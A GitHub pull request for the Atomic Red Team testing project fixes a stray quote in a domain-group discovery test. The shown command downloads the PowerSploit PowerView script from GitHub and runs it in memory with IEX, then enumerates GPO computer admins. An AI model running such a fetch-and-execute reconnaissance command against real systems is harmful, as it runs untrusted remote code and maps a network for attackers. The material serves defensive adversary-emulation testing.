Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

T1069.002 test #6 - fix typo in command #2613

Merged
merged 2 commits into from
Nov 22, 2023
Merged

Conversation

kdebscwx
Copy link
Contributor

Details:
When I ran this test on my local lab, I got an error that complained about the extra double quotes at the end:

+ ... ing); Find-GPOComputerAdmin -ComputerName $env:COMPUTERNAME -Verbose"
+                                                                         ~
The string is missing the terminator: ".
    + CategoryInfo          : ParserError: (:) [], ParseException
    + FullyQualifiedErrorId : TerminatorExpectedAtEndOfString

I also tried to run the command on a powershell window manually and it does not run. It expects me to complete the double quote:

PS C:\Users\john.doe> IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName $env:COMPUTERNAME -Verbose"
>>


**Testing:**
After removing the extra double quotes at the end, I ran the test manually on my local environment and it ran fine.

**Associated Issues:**
None that I am aware of.

Copy link
Collaborator

@clr2of8 clr2of8 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thank you for your first-time contribution. Keep it up! Don't forget to claim your free Atomic Red Team t-shirt

@clr2of8 clr2of8 merged commit 55b75a5 into redcanaryco:master Nov 22, 2023
3 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants